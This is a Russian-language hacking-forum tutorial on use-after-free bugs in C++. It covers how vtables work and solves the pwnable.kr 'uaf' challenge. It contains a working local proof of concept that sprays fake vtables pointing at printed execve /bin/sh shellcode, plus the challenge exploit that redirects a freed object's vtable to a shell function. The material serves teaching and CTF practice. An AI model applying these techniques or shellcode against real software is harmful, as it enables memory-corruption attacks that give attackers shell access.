• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Уязвимость использование после освобождения - UAF (use after free)

tabac

CPU register
Пользователь
Регистрация
30.09.2018
Сообщения
1 610
Решения
1
Реакции
3 332
В данной статье рассмотрим, что такое UAF, а также решим 16-е задание с сайта pwnable.kr.

Наследование и виртуальные методы

Виртуальная функция — в объектно-ориентированном программировании функция класса, которая может быть переопределена в классах-наследниках. Таким образом, программисту необязательно знать точный тип объекта для работы с ним через виртуальные методы: достаточно лишь знать, что объект принадлежит классу или наследнику класса, в котором объявлен метод.

Проще говоря, представим что у нас определен базовый класс Animal у которого есть виртуальная функция sрeak. Так у класса Animal может быть два дочерних класса Cat и Dog. При том виртуальная функция Cat:sрeak() будет выыводить myau, а Dog:sрeak — gav. Но если в памяти будет храниться одинаковая структура, как программа понимает, какой из sрeak`ов нужно вызывать?

Всю работу обеспечивает таблица виртуальных методов (TVM), или как её определяют — vtable.

У каждого класса своя TVM и компилятор добавляет ее вирутальный табличный указатель (vptr — указатель на vtable), как первую локальную переменную данного объекта. Давайте проверим.
Код:
#include <stdio.h>

class ANIMAL{
    private:
        int var1 = 0x11111111;
    public:
        virtual void func1(){
            printf("Class Animal - func1\n");
        }

        virtual void func2(){
            printf("Class Animal - func2\n");
        }
};

class CAT : public ANIMAL {
    public:
        virtual void func1(){
            printf("Class Cat - func1\n");
        }

        virtual void func2(){
            printf("Class Cat - func2\n");
        }

};

int main(){
    ANIMAL *p1 = new ANIMAL();
    ANIMAL *p2 = new CAT();
    ANIMAL *ptr;

    ptr = p1;
    ptr->func1();          
    ptr->func2();  

    ptr = dynamic_cast<CAT*>(p2);
    ptr->func1();         
    ptr->func2();        

    return 0;
}

Компилируем и запустим, чтобы посмотреть вывод.
Код:
g++ ex.c -o ex.bin
image


Теперь запустим под отладчиком в IDA и остановимся перед вызовом первой функции. Перейдем в окно HEX-View и синхронизируем его с регистром RAX.

image


В выделенном фрагменте видим значение переменныx var1 при определении переменных типа ANIMALS и CAT. Перед обеими переменными присутствуют адреса, как мы и сказали, это указатели на VMT (0x559f9898fd90 и 0x559f9898fd70).

Давайте разберемся, что происходит при вызове func1:
  1. Сначала в RAX у нас окажется адрес на объекта по указателю рtr.
  2. Далее в RAX читается первое значение объекта — указатель на VMT ( на ее первый элемент).
  3. В RAX читается первое значение из VMT — указатель на тот самый виртуальный метод.
  4. В RDX заносится указатель на объект (более привычно this).
  5. Происходит вызов виртуального метода.
image


При вызове func2 происходит то же самое, за одним исключением, из VMT считывается не первая запись (RAX), a вторая (RAX + 8). Таков механизм работы с виртуальными методами.

image


UAF

Данная уязвимость характерна для кучи, так как стек расчитан на хранение данных небольшого объема (локальных переменных). Куча же, являясь динамической памятью, как раз идеально подходит для хранения данных большого объема. При этом выделение и освобождение памяти может происходить во время выполнения программы. Но из-за этого необходимо отслеживать, какая память занята, а какая нет. Для этого нужен служебный заголовок для выделенного блока памяти. Он содержит адрес начала и указатель на первый элемент блока. И при этом куча, в отличии от стека, растет вниз.

Суть уязвимости в том, что после освобождения памяти, программа может ссылаться на эту область. Так появляются висячие указатели. Изменим код программы и проверим это.
Код:
int main(){
    ANIMAL *p1 = new ANIMAL();
    ANIMAL *p2 = new CAT();
    ANIMAL *ptr;

    ptr = p1;
    ptr->func1();          
    ptr->func2();  

    ptr = dynamic_cast<CAT*>(p2);
    ptr->func1();         
    ptr->func2();       
    
    delete p2;
    ptr->func1(); 
     
    return 0;
}

image


Давайте найдем, где падает программа. По аналогии с прошлым примером, останавливаюсь перед вызовом функции и синхранизируем Hex-View с RAX. Мы видим, по которому должен располагаться наш объект. Но при выполнении следующей инструкции в регистре RAX остается 0. И уже пытаясь разыменовать 0, программа падает.

image


image


Таким образом, для экспулуатации UAF необходимо передать программе шеллкод, а потом через висячий указатель (в VMT) перейти на его начало. Это возможно благодаря тому, что куча при запросе выделяет блок памяти, который был освобожден ранее и таким образом мы можем эмулировать VMT, которая будет указывать на шеллкод. Говоря другими словами, там где раньше находился адрес функции VMT, теперь будет расположен адрес шеллкода. Но мы не можем гарантировать, что память для только выделенного объекта совпадет с только что очищенной зоной, потому создадим несколько таких объектов в цикле.

Давайте рассмотрим на примере. Для начала возьмем шеллкод, к примеру отсюда .
Код:
"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"

И дополним наш код:
Код:
#include <stdio.h>
#include <string.h>
class ANIMAL{
    private:
        int var1 = 0x11111111;
    public:
        virtual void func1(){
            printf("Class Animal - func1\n");
        }

        virtual void func2(){
            printf("Class Animal - func2\n");
        }
};

class CAT : public ANIMAL {
    public:
        virtual void func1(){
            printf("Class Cat - func1\n");
        }

        virtual void func2(){
            printf("Class Cat - func2\n");
        }

};

class EX_SHELL{
    private:
        char n[8];
    public:
        EX_SHELL(void* addr_in_VMT){
            memcpy(n, &addr_in_VMT, sizeof(void*));
        }
};
    

char shellcode[] = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05";

int main(){
    ANIMAL *p1 = new ANIMAL();
    ANIMAL *p2 = new CAT();
    ANIMAL *ptr;

    ptr = p1;
    ptr->func1();          
    ptr->func2();  

    ptr = dynamic_cast<CAT*>(p2);
    ptr->func1();         
    ptr->func2();       
    
    delete p2;
    
    void* vmt[1];
    vmt[0] = (void*) shellcode;
    for(int i=0; i<0x10000; i++)
        new EX_SHELL(vmt);

    ptr->func1(); 
     
    return 0;
}

После компилирования и запуска получаем полноценный shell.

image


Решение задания uaf

Нажимаем на иконку с подписью uaf, и нам говорят, что нужно подключиться по SSH с паролем guest.

image


При подключении мы видим соответствующий баннер.

image


Давайте узнаем, какие файлы есть на сервере, а также какие мы имеем права.

image


Посмотрим исходный код
Код:
#include <fcntl.h>
#include <iostream>
#include <cstring>
#include <cstdlib>
#include <unistd.h>
using namespace std;

class Human{
private:
        virtual void give_shell(){
                system("/bin/sh");
        }
protected:
        int age;
        string name;
public:
        virtual void introduce(){                                                             
                cout << "My name is " << name << endl;                                       
                cout << "I am " << age << " years old" << endl;                               
        }                                                                                     
};                                                                                           
                                                                                              
class Man: public Human{                                                                     
public:                                                                                       
        Man(string name, int age){                                                           
                this->name = name;                                                           
                this->age = age;
        }
        virtual void introduce(){
                Human::introduce();
                cout << "I am a nice guy!" << endl;
        }
};

class Woman: public Human{
public:
        Woman(string name, int age){
                this->name = name;
                this->age = age;
        }
        virtual void introduce(){
                Human::introduce();
                cout << "I am a cute girl!" << endl;
        }
};

int main(int argc, char* argv[]){
        Human* m = new Man("Jack", 25);
        Human* w = new Woman("Jill", 21);

        size_t len;
        char* data;
        unsigned int op;
        while(1){
                cout << "1. use\n2. after\n3. free\n";
                cin >> op;

                switch(op){
                        case 1:
                                m->introduce();
                                w->introduce();
                                break;
                        case 2:
                                len = atoi(argv[1]);
                                data = new char[len];
                                read(open(argv[2], O_RDONLY), data, len);
                                cout << "your data is allocated" << endl;
                                break;
                        case 3:
                                delete m;
                                delete w;
                                break;
                        default:
                                break;
                }
        }

        return 0;
}
В самом начале программы у нас содаются два объекта классов, унаследованных от класса Human. Который имеет функцию, дающую нам шелл.

image


Далее нам предлагают ввести одно из трех действия:
  1. вывести информацию объекта;
  2. записать в кучу данные, принятые в качестве параметра программы;
  3. удалить созданный объект.
image


Так как в данной задаче рассматривается UAF уязвимость, то план должен быть следующий: создание — удаление — запись в кучу — получение информации.

Единственный этап, который мы полностью контролируем — это запись в кучу. Но перед записью нам нужно знать как выглядит VMT для данных объектов и адрес функции, дающей нам шелл. На примере мы поняли, как устроена VMT, указатели на адреса хранятся друг за другом, т.е. func2 = *func1+sizeof(*func1), func3 = *func1+2*sizeof(*func2) и т.д.

Так как первой функцией в VMT будет являться give_shell(), а при вызове функции Man::introduce() вторым адресом VMT и будет являться адрес introduce. С учетом 64-разрядной системы: *introduce = *give_shell + 8. Найдем этому подтверждение:

image


Строка main+272 доказывает наше предположение, так как адрес относительно базы увеличивается на 8.

Поставим точку останова и посмотрим содержимое EAX, чтобы определить адрес базы.

image


image


image


Мы нашли адрес базы: 0x0000000000401570. Таким образом вместо шелла, нам нужно записать в кучу адрес give_shell(), уменьшенный на 8, чтобы он был принят за базу VMT, при увеличении на 8, программа давалабы нам шелл.

image


Программа в качестве параметра количество байт, которое она считает из файла, и название файла. Осталось малость, чтобы перезаписать данные, нужно выделить блок памяти, размером с освобожденный блок. Найдем размер блока, который занимает один объект.

image


Таким образом, перед созданием объекта резервируется 0х18=24 байта. То есть нам необходимо составить файл, состоящий из 24 байт.

image


Так как программа освобождает два объекта, то и записать данные нам придется два раза.

image


Получаем шелл, читаем флаг, получаем 8 очков.

image



Автор @RalfHacker
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх